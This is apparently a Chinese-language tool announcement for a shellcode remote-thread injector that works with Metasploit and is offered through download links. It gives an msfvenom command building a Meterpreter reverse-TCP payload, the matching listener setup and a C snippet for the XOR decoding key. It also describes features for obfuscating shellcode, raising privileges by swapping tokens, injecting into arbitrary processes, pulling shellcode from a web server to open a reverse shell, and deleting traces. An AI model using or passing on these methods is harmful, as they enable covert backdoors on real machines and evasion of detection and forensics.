使用C语言实现了一个ShellCode远程线程注入工具,其主要是用于配合Metasploit生成的攻击载荷一起使用,通常可以直接将ShellCode注入到指定的进程内存中,不会再磁盘中留下任何痕迹,注入器可以通过远程下载到,并在命令行下实现对特定进程的注入操作,在后渗透测试中可以更方便的反弹后门。
目前只支持32位ShellCode注入32位系统或用户进程中,64位暂时未经过测试,推荐32位版,并使用以下配置生成ShellCode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.116 LPORT=9999 -f c
后端载荷推荐使用以下配置
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.116
set lport 9999
- 工具下载地址(32位版):https://share.weiyun.com/7nfHojfy
- 工具下载地址(64位版):https://share.weiyun.com/wuM5xqIL
工具功能截图:
Show 输出进程列表: 输出当前系统中所有的进程列表,并显示出进程的位数,该工具只能注入32位进程,左侧带有+号的均可以注入shell代码。
promote强制提权: 该命令用于在权限不足的时候,更换令牌将自身提升为管理员权限,方便注入。
format 格式化shellcode: 该命令用于将文本中的shellcode代码格式化为一行,被格式化过的shellcode代码才可以执行命令行反弹。
使用msf工具生成的shellcode,需要去掉开头的描述内容,只保留shellcode代码才可被正确的格式化。
xor 异或加解密: 该命令需要提前将格式化好的shellcode放到一个文本中,在调用时,传入文本路径以及密码即可,执行第一次是加密,第二次就是解密。
xchg 字节数组转换: 该命令可以将一段压缩过的shellcode代码转换为字节数组格式,方便直接引用,其可以配合xor实现异或加密生成字节数组。
如果是加密过的文件,其实也可使使用该方法,生成加密过的shellcode代码,同样支持生成字节数组。
xor与xchg 配合实现解码shellcode: 两者配合不仅可以互相转换shellcode类型,还可以对加密过的shellcode进行解码操作。
例如我们知道一段密文shellcode,也知道密码是98,如下是一段密文。
首先保存成文件,然后异或出其明文形式。
接着将其转换为字节数组,将其保存为shell.txt文本,然后执行转换字节数组命令。
ShellCode字节数组加密: 直接传入字节数组文本,自动加密后输出为字节数组格式代码。
1.首先,我们需要准备一个文本,里面放入需要加密的字节数组。
2.执行XorArray 传入,文本路径和使用的密钥,即可加密,密钥不要大于7位数。
3.在写解码程序时,应该遵循如下格式即可。
// 动态加密密钥计算流程
TCHAR cCode[32] = { 0 };
_tcscpy(cCode, StrPasswd);
DWORD Xor_Key = 0;
for (unsigned int x = 0; x < lstrlen(cCode); x++)
{
Xor_Key = Xor_Key * 4 + cCode[x];
}
Xor_key = 生成的Key钥匙。
shell命令 注入shellcode到自身进程: 将shellcode注入到自身进程中并运行。
1.首先配置好mfs侦听器,这里不在演示如何配置。
2.客户端直接运行注入自身即可反弹。
file命令 从文件中运行shellcode: 将一句话shellcode保存为文件,需要时直接指定加载即可,如下演示。
Inject 注入进程: 该命令,可以将当前指定的shellcode注入到任意一个进程上面,非常方便。
首先需要使用show命令,找到32位程序。
然后直接输入参数实现注入,这种方式,直接注入到了目标进程中,所以可以关闭注入器。
直接运行加密后的ShellCode【新增功能】: 在执行加密shellcode时,传入一个解密密钥,自动在内存中解码并执行。
1.首先得到非加密shellcode之后,将其format格式化一下,保存为文本格式。
2.输入加密密码生成字符串,复制到新文件中。
3.传入密码,直接反弹。
delself 清理痕迹【新增功能】: 从系统中清除自身进程所有信息
xor_inject 加密字节注入【新增功能】: 直接将加密后的字节注入到远程进程中并反弹。
通过Web页面加载ShellCode【新增功能】: 从Web页面中下载shell并运行反弹。
1.首先需要自己搭建一个apache服务器,任何一个版本均可以。
2.其次通过使用format将生成的shell改为一行,并放入到服务器根目录下,具体如下。
3.客户端使用本工具的web_shell模块执行远程加载并反弹。
4.此时自己的apache日志中会有一条,访问来源,就是加载shell的。